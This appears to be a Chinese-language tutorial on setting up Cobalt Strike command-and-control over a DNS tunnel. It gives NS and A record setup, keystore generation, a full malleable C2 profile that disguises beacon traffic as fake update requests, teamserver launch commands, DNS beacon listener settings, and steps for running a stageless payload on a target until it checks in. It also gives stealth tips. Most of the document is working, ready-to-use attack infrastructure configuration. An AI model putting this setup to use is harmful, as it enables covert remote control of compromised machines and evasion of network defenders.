CS上线之DNS隧道踩坑记
字数 1226 2025-08-15 21:32:45
DNS隧道上线Cobalt Strike踩坑与配置指南
1. 环境准备
1.1 服务器要求
- 操作系统:Ubuntu 18.04
- 开放端口:53/UDP(DNS服务)
- 需要关闭占用53端口的服务:
systemctl stop systemd-resolved
1.2 域名购买
- 选择支持自由配置NS记录的域名服务商(推荐GoDaddy或国内主流厂商)
- 确保可以添加自定义NS记录
1.3 Cobalt Strike版本
- 推荐使用CS 4.1版本
- CS 4.0某些破解版在checkin操作时可能不会响应
2. 域名配置
2.1 DNS记录设置
-
添加一条A记录:
vpn.yourdomain.com → CS服务器IP -
添加多条NS记录(至少一条):
ns1.yourdomain.com → vpn.yourdomain.com ns2.yourdomain.com → vpn.yourdomain.com ns3.yourdomain.com → vpn.yourdomain.com
2.2 TTL设置
- 初始测试时设置为服务商允许的最小值(GoDaddy最小600秒)
- 测试成功后调整为600-900秒
3. 证书与Profile配置
3.1 生成密钥库文件
- 删除原有的cobaltstrike.store文件
- 使用keytool生成新store文件:
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV"
参数说明:
keystore:文件名(需与profile一致)keypass:证书密码(需与profile一致)alias:别名(需与profile一致)storepass:store文件密码(需与teamserver默认密码一致)
3.2 Profile文件配置
创建C2.profile文件,内容如下:
set sample_name "tryblog POS Malware";
set sleeptime "5000"; # ~30s回调间隔
set jitter "10"; # 10%抖动
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
# 证书配置(需与生成时一致)
https-certificate {
set CN "CC";
set O "IBM";
set C "AV";
set L "AD";
set OU "HW";
set ST "AC";
set validity "365";
}
# 代码签名配置
code-signer {
set keystore "cobaltstrike.store";
set password "123456";
set alias "baidu.com";
}
# DNS配置
set dns_idle "8.8.4.4"; # 重要:不能设为0.0.0.0
set dns_sleep "0";
set maxdns "235";
# HTTP POST配置
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urltrytryd";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
# HTTP GET配置
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
4. 启动Cobalt Strike
4.1 启动命令
./teamserver <CS服务器IP> <密码> ./C2.profile
4.2 后台运行
nohup ./teamserver <CS服务器IP> <密码> ./C2.profile &
5. 监听器配置
- 创建DNS Beacon监听器
- 关键点:
- 主机(Host)字段填写NS记录域名(如ns1.yourdomain.com)
- Stager字段只需填写任意一个NS记录域名
- 不要填写A记录域名
6. 生成Payload与上线
-
生成stageless的exe payload(推荐):
- 包含完整的DNS beacon
- 有x64版本
- 无需下载stage数据,上线更快
-
目标机器执行payload后:
- CS界面显示黑框
- 右键选择"进入beacon"
- 输入
checkin命令 - 等待黑框变蓝(表示成功上线)
-
测试命令:
whoami
7. 故障排查
-
无法上线:
- 检查53端口是否被占用
- 确认profile中的dns_idle不是0.0.0.0
- 验证NS记录解析是否正常
-
nslookup无响应:
- 确保systemd-resolved服务已停止
- 检查DNS监听器配置是否正确
-
checkin无响应:
- 尝试更换CS版本(推荐4.1)
- 检查profile配置是否与证书生成参数一致
8. 注意事项
- DNS隧道相对HTTP隧道速度较慢,需要耐心等待
- 上线后首次命令执行可能需要较长时间
- 生产环境建议修改默认端口和密码增强隐蔽性
- profile中的dns_idle设置会影响nslookup响应结果
通过以上详细配置,应该能够成功建立DNS隧道并使Cobalt Strike beacon上线。如果在测试过程中遇到问题,建议按照故障排查部分逐步检查各环节配置。